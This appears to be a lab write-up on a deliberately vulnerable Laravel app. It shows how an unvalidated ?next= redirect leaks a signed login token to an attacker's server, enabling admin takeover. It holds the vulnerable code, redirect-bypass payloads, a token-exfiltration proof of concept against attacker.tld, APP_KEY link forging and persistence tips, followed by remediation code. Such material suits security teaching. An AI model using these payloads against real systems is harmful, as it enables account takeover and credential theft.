Open Redirect in Laravel: Turning a ?next= Parameter into Token Theft and Account Takeover
next value straight from
your request and redirects you there with redirect()->to($next).
No host check, no allowlist, nothing. A plain open redirect is a phishing aid.
This one is not plain. The same handler mints a five-minute signed login
link and glues it onto that redirect as ?sso=.... Send a
contributor /contributor-login?next=https://attacker.tld/collect,
they log in on the real domain with their real password, and the app ships their
login token straight to your server. You copy the link out of your access log,
open it, and you are logged in as them. And the seeded contributor isn't some
low-privilege user, Sarah Okonkwo carries the Administrator role.
One query parameter, one click, full admin account takeover. The victim does all
the authenticating; the app does all the leaking; you do none of the work.
Where This Sits in the Kill Chain
Same endpoint as Post 3. The contributor login (/contributor-login)
is the deliberately weak, MD5-backed legacy auth path, and Post 3 already showed
you can walk straight past it with a magic hash and a loose ==. This
post isn't about getting in through that door. It's about what the door does
after a legitimate contributor walks through it: it forwards them, and
their fresh login token, to wherever the URL told it to.
So this is a client-side, victim-driven attack, closer in spirit to Post 7 (stored XSS) than to the server-side escalation chain. You aren't escalating your own privileges here. You're stealing someone else's authenticated session by getting them to click a link on a domain they already trust, and the someone is an admin. The payoff is the same "authenticated admin session" state Posts 1 and 3 grind toward, except you get there by borrowing a real user's credentials instead of forging your own.
There's also a second, lazier route into the same state that needs no victim at
all, and it's a one-line cross-reference to Post 2. The signed link is only
"unforgeable" if you don't have APP_KEY. Post 2 leaks
APP_KEY. With it you can mint your own signed contributor.sso
link for any user id, including the seeded admin, and skip the phishing
step entirely. More on that below.
Post 8 hangs off Post 3 because they share the contributor endpoint, and there's a
second edge from Post 2 because APP_KEY is a skeleton key for the
signed handoff. The two routes in just differ on the target. Post 3 attacks the
auth check to log yourself in. Post 8 leaves the check alone and abuses
the redirect that runs on a successful login, so a real admin logs
themselves in and unknowingly ships you the keys.
Vulnerability Classification
| CWE | CWE-601: URL Redirection to Untrusted Site (Open Redirect). User-controlled input is used as the target of a redirect with no validation. |
|---|---|
| OWASP Top 10 | A01:2021 Broken Access Control. Unvalidated redirects and forwards are folded into this category in the 2021 list (they were their own entry, A10, in 2013). |
| Why it is more than "just" an open redirect | A plain open redirect is a phishing aid. This one carries a freshly minted, replayable login token in the query string, so the redirect leaks a credential. That bumps it from Low/informational to a real account takeover primitive. |
| Authentication required | None on the attacker's side. The attacker never logs in and never guesses anything. The victim authenticates with their own valid credentials through the crafted link, and the app does the leaking. |
| Who the victim is |
The seeded contributor, contributor@artisanbreach.com
(Sarah Okonkwo), is associated with the Administrator role
in UserSeeder, never demoted after the v1 import. The
default victim is therefore an admin, not a random
contributor. Steal her token and you walk straight through the
can:isAdmin gate.
|
| Severity note | Critical in practice. The impact is a stolen admin session, achieved with one link to the app's own real login page. The only friction is getting the victim to click, and "hover the link before you click it" training is useless here because the host genuinely is the target's own domain. The off-site jump happens after the trusted page, on the redirect back. This is as convincing as credential phishing gets, and it returns a logged-in session rather than a password that can be rotated. |
Not All Redirects Are Equal
Laravel gives you a few ways to send someone somewhere after an action. The difference between them is entirely about who controls the destination.
redirect()->route('dashboard');
redirect()->intended('/admin');
redirect()->to($request->input('next'));
redirect()->away($request->input('next'));
route() resolves a name you defined in your route files, so the target
is always one of your own pages. intended() looks safe-ish for a
different reason: the URL it falls back to is the one Laravel stashed in
url.intended when the auth middleware bounced an
unauthenticated request, and that value comes from $request->url()
on your own app, not from a query string you control.
to() and away() are the problem children. They happily
accept a fully qualified absolute URL. Hand either of them
https://attacker.tld and Laravel writes a Location: https://attacker.tld
header and off the browser goes. There's no "is this my domain" check anywhere in
the framework. That check is yours to write, and ArtisanBreach never wrote it.
The Vulnerable Code
The login handler on the legacy contributor endpoint. The credential check at the
top is the Post 3 material. The part we care about is what runs right after
Auth::login($user):
public function login(Request $request): \Illuminate\Http\RedirectResponse
{
$request->validate([
'email' => ['required', 'email'],
'password' => ['required'],
]);
$user = User::where('email', $request->email)
->whereNotNull('legacy_password')
->first();
if ($user && md5($request->password) == $user->legacy_password) {
Auth::login($user);
// v1 CMS single-sign-on handoff: forward the contributor back to the
// property they came from with a short-lived login token so they stay
// authenticated across the old multi-domain setup.
$handoff = URL::temporarySignedRoute('contributor.sso', now()->addMinutes(5), [
'user' => $user->id,
]);
$next = $request->input('next', '/admin');
return redirect()->to($next.'?sso='.urlencode($handoff));
}
return back()->withErrors([
'email' => 'These credentials do not match our contributor records.',
])->withInput($request->only('email'));
}
Two things in those few lines, and both bite.
First, $next = $request->input('next', '/admin') pulls the redirect
target directly out of the request. It defaults to /admin if nothing
is supplied, but the caller is free to supply anything, including an absolute URL to
a domain that is not yours. It flows straight into redirect()->to()
with no parse_url host check, no allowlist, no
str_starts_with($next, '/') guard. That's the open redirect.
Second, URL::temporarySignedRoute() builds a five-minute signed URL to
the contributor.sso route and it gets appended as ?sso=....
A signed URL is Laravel's tamper-proof link: the user, an
expires timestamp, and a signature keyed on your
APP_KEY. Nobody can forge one without the key. But nobody needs to
forge it, because the app is about to give it away.
The next value rides through the login page as a hidden field, so a
GET link carrying ?next= survives the POST:
<form class="login_box" method="POST" action="{{ route('contributor.login.post') }}">
@csrf
<input type="hidden" name="next" value="{{ request('next') }}">
And the consumer route on the other end just logs in whoever shows up with a valid signed link:
routes/web.phpRoute::get('/contributor-sso', [ContributorLoginController::class, 'sso'])
->name('contributor.sso')
->middleware('signed');
app/Http/Controllers/Auth/ContributorLoginController.php
public function sso(Request $request): \Illuminate\Http\RedirectResponse
{
Auth::loginUsingId($request->query('user'));
return redirect()->to('/admin');
}
value="{{ request('next') }}" uses {{ }}, so the value is
Html-encoded and you cannot break out of the attribute to inject markup. This is not
the XSS bug from Post 7. The next value is dangerous only because of
where it ends up (a Location header), not because it is rendered unsafely
on the page. Know the boundary: here the sink is the redirect, not the template.
Why the sso Link Is a Loaded Gun
The whole attack hangs on one property of that contributor.sso route:
it's a bearer credential. The signed middleware only
checks that the signature is valid and the link hasn't expired. It doesn't check
who's holding it. No "is this the same browser that requested it" check, no
binding to the original session, no one-time-use flag. The link says "log in as
user 2", it's cryptographically valid for five minutes, and anyone who opens it in
any browser becomes user 2.
Normally that's fine, because the app only ever hands that link to the person who just proved they're user 2. The open redirect breaks exactly that assumption. It lets an attacker choose where the link gets delivered, and they pick their own server.
One more detail makes the replay trivially clean: the controller constructor
registers the guest middleware for every action, so the
sso route only serves logged-out visitors. That's not a
hurdle, the attacker is logged out. It's the opposite of a defense: the app
welcomes an anonymous browser, trades it the token for a full session, and asks no
questions. Paste the stolen link into a clean incognito window and you're in.
Skip the Victim: Forge the Link With APP_KEY
The signed URL is "unforgeable" only so long as APP_KEY stays secret.
Post 2 leaked it, so the signature protects nothing. It's an HMAC over the URL
using APP_KEY, and Laravel hands you the exact helper to produce it.
With the key in hand you don't need a contributor to click anything, you mint
your own admin link and hand it to yourself:
// With APP_KEY from Post 2, sign a link for the seeded admin (id 1).
$link = URL::temporarySignedRoute('contributor.sso', now()->addMinutes(5), [
'user' => 1,
]);
// GET $link => ValidateSignature passes, sso() calls Auth::loginUsingId(1),
// and you land on /admin as the Administrator. No victim, no phish, no click.
This is the quiet part of the bug. The open redirect is the noisy, interactive
vector. The APP_KEY forge is the silent one, and it turns "Post 2 gives
you RCE as www-data" into "Post 2 gives you an authenticated admin session as a side
effect." That's also why the fix here has to do more than just
validate the redirect target: even with a perfect allowlist, a signed login link
that is mintable by anyone holding the key, and replayable by anyone holding the
link, is still a loaded gun.
The Payload Arsenal
next takes a raw string, so the whole redirect-bypass playbook is on
the table. Here's the set that matters — for testing and for patching, because a
sloppy fix only catches the first one:
https://attacker.tld/collect // the obvious one
//attacker.tld/collect // protocol-relative, still absolute
/\\attacker.tld/collect // backslash, browsers normalise to //
https://app.artisanbreach.tld.attacker.tld // suffix confusion, not your host
https://attacker.tld#@artisanbreach.tld // fragment/userinfo bait
%2F%2Fattacker.tld // double-encoded scheme-relative
Every one of these lands in Location and the browser follows it. None
of these are exotic. Validating them correctly is the hard part. A str_contains($next, 'artisanbreach.tld')
check matches the suffix-bait line and misses the rest. A
str_starts_with($next, '/') check is bypassed by
//attacker.tld because that still starts with a slash but is absolute.
Only an exact allowlist of hosts (or refusing to accept URLs at all) survives all of
them. The bug here is the lazy version: none of this validation exists, so every
value works.
Proof of Concept
Prerequisites: none on your side. You need the seeded contributor to click a link,
and somewhere to catch the redirect. Any request-logging endpoint works, a
one-liner like php -S 0.0.0.0:9000 on a box you control, or a
RequestBin-style catcher. The link points at the app's real login page, same
domain, same TLS, and only the next param is yours.
next that is yours:https://artisanbreach.tld/contributor-login?next=https://attacker.tld/collect
302 to your server, token in tow:HTTP/1.1 302 Found
Location: https://attacker.tld/collect?sso=https%3A%2F%2Fartisanbreach.tld%2Fcontributor-sso%3Fuser%3D2%26expires%3D1754999999%26signature%3D9f2c...
sso parameter:https://artisanbreach.tld/contributor-sso?user=2&expires=1754999999&signature=9f2c...
guest middleware waves you through, the signed middleware sees a valid signature, sso() calls Auth::loginUsingId(2), and you land on /admin as Sarah, an Administrator.That's the entire attack. The victim sees a slightly odd redirect to a page that never loads, shrugs, and heads back to the site, still logged in and none the wiser. You have her session for as long as it lives.
What the Stolen Token Actually Gets You
Session takeover
Replay the sso link and you are the victim. No password, no
cookie theft, no MFA prompt. You are logged in as them for the life of the
session.
Straight to admin
The seeded contributor is an Administrator, so the stolen session walks
directly into /admin and everything behind the
can:isAdmin gate. No pivot required.
Trusted-domain phishing
The link you send is the real domain. It survives "hover the link before you click it" training, because the host really is them. The redirect off-site happens after the trusted page.
The OAuth analogy
This is the same bug class that drains real OAuth flows: an unvalidated
redirect_uri lets an attacker catch the code or
token the provider appends. Same shape, same fix.
A comfortable window
The handoff link is valid for five minutes, plenty of time to replay it. And the session it grants outlives that.
Repeatable
Nothing about the attack burns out. Send the link to ten contributors, catch ten tokens. The endpoint keeps handing them out.
Persistence
Once you hold an admin session you do not have to keep re-phishing. Change the victim's email and password, register a fresh admin of your own (Post 1 is still open), or drop the Post 7 XSS and collect every future visitor's session. One steal, permanent access.
Silent
No failed logins, no brute-force noise, no cookie tampering. The access log on your own server is the only record, and it is yours. The victim's session looks perfectly normal from the app's side.
Remediation
The cleanest fix is to stop accepting a URL from the user at all. If you need to remember where to send someone, remember a route name or a short key and map it server-side. The set of valid destinations is finite and defined by you:
$targets = [
'admin' => 'dashboard',
'drafts' => 'contributor.drafts',
'profile' => 'contributor.profile',
];
$next = $targets[$request->input('next')] ?? 'dashboard';
return redirect()->route($next);
Now next=https://attacker.tld simply is not a key in the array, so it
falls through to the default. There's no way to express an off-site destination.
Sometimes you genuinely have to bounce to another one of your own properties. Fine, but then validate the host against a known list and reject everything else. Also accept plain relative paths (they can never leave your origin):
$next = $request->input('next', '/admin');
$allowedHosts = ['app.artisanbreach.tld', 'blog.artisanbreach.tld'];
$host = parse_url($next, PHP_URL_HOST);
$isSafe = $host === null // relative path, stays on-origin
|| in_array($host, $allowedHosts, true);
return redirect()->to($isSafe ? $next : '/admin');
Watch the edges: attackers love //attacker.tld (protocol-relative,
parse_url reads the host correctly, good), backslash tricks like
/\attacker.tld, and https://app.artisanbreach.tld.attacker.tld
(suffix, not a match, good). An exact in_array host match handles all of
these; sloppy str_contains($next, 'artisanbreach.tld') does not.
The redirect target was only half the problem. The other half is that a replayable
login token was traveling in a query string in the first place. Even with a perfect
allowlist, a token in a URL leaks through browser history, server logs, and the
Referer header. If a cross-property handoff really is required, bind it
to the session that requested it and make it single-use, so a copied link is useless
in anyone else's browser:
// mint: tie the token to the current session, mark it unused
$token = Str::random(64);
cache()->put("sso:$token", [
'user' => $user->id,
'session' => session()->getId(),
], now()->addMinutes(1));
// consume: valid once, only from the same session
$data = cache()->pull("sso:$token");
abort_unless($data && hash_equals($data['session'], session()->getId()), 403);
Auth::loginUsingId($data['user']);
That single-use, session-bound token also defuses the APP_KEY forge from
the Post 2 cross-reference: a forged link would still be worthless without the exact
session id it was minted for, and cache()->pull() burns it on first
use so a copied link is dead on arrival.
For defense in depth, set a Referrer-Policy: strict-origin-when-cross-origin
header so sensitive URLs stop bleeding into the Referer of off-site
requests. It will not save you from a redirect that hands over the token on purpose,
but it closes the passive leak.
Remediation Checklist
redirect()->to( and
redirect()->away( and trace the argument. If any of them can reach
user input (query string, form field, route param, Referer), you
have an open redirect. Fixed-string and redirect()->route() calls
are fine.
in_array match and allow bare relative paths. Never use substring
matching to "validate" a host.
Referer. Deliver them
in a way that a redirect cannot forward.
APP_KEY cannot mint a working link on its own.
Referrer-Policy header (strict-origin-when-cross-origin
or stricter) as defense-in-depth against passive token leakage.
redirect_uri as a strict allowlist, never a prefix or
substring check.